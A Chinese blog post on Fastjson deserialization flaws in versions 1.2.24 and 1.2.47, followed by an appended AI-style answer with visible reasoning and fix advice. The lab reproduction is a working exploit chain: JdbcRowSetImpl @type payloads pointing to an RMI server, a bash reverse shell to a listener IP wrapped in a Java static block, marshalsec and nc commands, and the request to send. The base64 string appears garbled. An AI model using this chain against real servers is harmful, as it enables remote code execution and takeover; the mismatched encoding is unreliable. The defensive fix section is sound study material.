Fastjson漏洞

Fastjson是什么

Fastjson 是阿里巴巴开源的一款高性能 Java JSON 库,用于实现 Java 对象与 JSON 数据之间的快速转换(序列化与反序列化)。

Fastjson本质就是调用get和set方法,get和set方法就是所谓的javabean,利用fastjson自动调用get set方法间接的调用(jndi注入)

Fastjson漏洞

因为基于get方法和set方法,fastjson在处理多个继承对象进行序列化后,再进行反序列化的话,会数据混乱。为解决这些问题,fastjson引用autotype属性,在进行序列化的时候,把原始类保存下来方便识别处理

每个版本有属于自己版本的漏洞,fastjson最为出名就是1.2.24 1.2.47 版本漏洞

1.2.24版本

Fastjson autoType处理json对象时,未对@type字段进行安全的校验,导致攻击者可以传入危险类,并调用危险类连接远程的RMI主机,通过其中恶意类执行代码,造成RCE

恶意代码 

#恶意代码 
{
"b":{
   #Java 标准库中的一个类,实现了jdbcRowSet接口(支持通过 JNDI 查找远程对象)
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://ip:端口/xxx",
    "autoCommit":true
    }
}

1.2.47版本

   因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启会先尝试从缓存中获取类,如果缓存中有,则直接返回。
    java.lang.Class类对应的deserializer为MiscCodec(核心编解码器,专门用于处理多种特殊类型的序列化和反序列化),反序列化时会取json串中的val值并加载这个val对应指定的类
   条件:fastjson cache为true,就会缓存这个val对应的class到全局缓存中

恶意代码 

{
"a":{"@type":"java.lang.Class",
     "val":"com.sun.rowset.JdbcRowSetImpl"  #加载 JdbcRowSetImpl 类
     }
"b":{
    "@type":"com.sun.rowset.JdbcRowSetlmp!", #会过滤(不影响下面代码执行)
    "dataSourceName":"rmi://ip:端口/xxx",
    "autoCommit":true
    }
}

漏洞复现

这里先打个1.2.24靶场

1. 生成一个反弹shell命令

sh -i >& /dev/tcp/{监听者ip}/7777 0>&1

2.  将刚才的命令进行base64编码

c2ggWkgPiYgldi90Y3AvMTIzLjEzNi4yMTgvNzc3NyAwYx

3.  编辑一个java文件(上一步base64编码写进去)

import java.lang.Runtime;
import java.lang.Process;

public class fastjson {
    #静态代码块(自动执行)
	static {
	    try {
	 	Runtime rt = Runtime.getRuntime();				
		String[] commands ={"/bin/bash","-c","{echo,c2ggWkgPiYgldi90Y3AvMTIzLjEzNi4yMTgvNzc3NyAwYx}|{base64,-d}{bash,-i}"};
		Process pc = rt.exec(commands);
		pc.waitFor();	
	    }catch (Exception e){

	    }
	}
}

4. 进行编译成.class文件

javac fastjson

5. 上传至监听者(kali)主机 ,开启http服务

python -m http.server 80

6.  开启RMI服务监听9999端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://{ip}/#fastjson" 9999

7.  开启端口监听

nc -lvvp 7777

8.  在靶场网页进行刷新抓包

1. 修改请求方法为POST
2. 将Content-Tpye中的后半段修改为json
3. 添加请求数据 
   {
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://{监听主机的ip}:9999/fastjson",
        "autoCommit":true
    }
}
4. 发送查看响应

9.  查看监听情况即可获取权限

<think>好的,我现在需要处理用户关于FastJSON漏洞的询问。首先,用户想了解修复方案、影响版本以及相关的安全问题。我得先回忆一下之前提供的引用内容,里面提到了Fastjson的反序列化漏洞,特别是1.2.24和1.2.47版本的例子。用户提到的参考引用[1]和[2]详细说明了漏洞的原理和复现方法,比如利用com.sun.rowset.JdbcRowSetImpl类进行RMI远程调用。 首先,我需要确定用户的问题具体是什么。他们想知道如何修复这些漏洞,哪些版本受影响,以及相关的安全风险。根据已有的知识,Fastjson漏洞主要集中在反序列化过程中,攻击者通过构造恶意的JSON数据触发远程代码执行。影响较大的版本包括1.2.24及以下,还有1.2.47等。 接下来,修复方案方面,常见的方法是升级到安全版本。例如,1.2.83或更高版本,因为这些版本修复了已知的反序列化漏洞。另外,可以配置安全模式,比如使用SafeMode防止自动反序列化。禁用autotype功能也是关键,这可以通过设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false)来实现。此外,白名单机制可以限制反序列化的类,减少攻击面。输入验证同样重要,避免处理不可信的JSON数据。 影响版本方面,需要明确哪些版本存在漏洞。根据引用内容,1.2.24及以下在反序列化时存在问题,而1.2.47版本也存在RCE漏洞。所以,用户需要检查他们使用的Fastjson版本是否在这些范围内。 安全问题部分,要强调反序列化漏洞的危害,比如远程代码执行、服务器被控制、数据泄露等。同时,攻击者可能通过构造特定的JSON数据利用这些漏洞,如引用[2]中提到的JdbcRowSetImpl类。 在组织回答时,要结构清晰,分点列出修复方案、影响版本和安全问题。同时,生成的相关问题需要围绕用户可能进一步关心的点,比如如何检测漏洞、其他反序列化漏洞案例,以及加固Fastjson应用的方法。 需要确保回答准确,引用提供的资料。例如,在修复方案中提到升级到1.2.83+版本,禁用autotype,配置SafeMode,这些都是标准做法。同时,引用[1]和[2]中的内容可以作为支持,比如漏洞原理和复现方法。 最后,检查是否符合用户的要求:使用中文,LaTeX格式正确,分点回答,相关问题部分有三个问题。确认没有使用任何Markdown格式,行内公式用$包围,独立公式用$$。还要注意引用标识的位置,如[^1]和[^2]在适当的位置添加。</think>### FastJSON漏洞分析及修复方案 #### 一、影响版本 FastJSON漏洞主要集中在以下版本: - **1.2.24及以下版本**:存在反序列化漏洞,攻击者可构造恶意JSON触发远程代码执行(RCE)[^1]。 - **1.2.47及以下版本**:通过`autoType`功能绕过漏洞,利用`com.sun.rowset.JdbcRowSetImpl`类实现JNDI注入。 #### 二、修复方案 1. **升级至安全版本** 官方已修复的版本为 **1.2.83+**,建议升级至最新版本,彻底关闭高危漏洞入口。 2. **禁用`autoType`功能** 在代码中全局禁用`autoType`,防止反序列化未授权的类: ```java ParserConfig.getGlobalInstance().setAutoTypeSupport(false); ``` 3. **配置SafeMode安全模式** 启用安全模式可完全禁止反序列化任意类: ```java ParserConfig.getGlobalInstance().setSafeMode(true); ``` 4. **输入过滤与白名单** 限制反序列化的类名,仅允许可信类: ```java ParserConfig.getGlobalInstance().addAccept("com.example.safeclass"); ``` 5. **避免反序列化不可信数据** 严格校验外部输入的JSON数据,避免直接解析用户提交的内容。 #### 三、安全问题 1. **反序列化漏洞原理** 攻击者通过构造恶意JSON,利用`@type`字段指定危险类(如`com.sun.rowset.JdbcRowSetImpl`),触发JNDI注入或远程代码执行。例如: ```json {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip/Exploit"} ``` 2. **漏洞危害** - 远程控制服务器(RCE)。 - 敏感数据泄露或篡改。 - 服务拒绝(DoS)攻击。 #### 四、示例漏洞复现(1.2.47) 1. **攻击流程** - 搭建恶意RMI服务,托管攻击代码。 - 发送包含`JdbcRowSetImpl`类的JSON数据到目标服务。 - 目标解析JSON时触发JNDI请求,加载并执行远程恶意代码。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值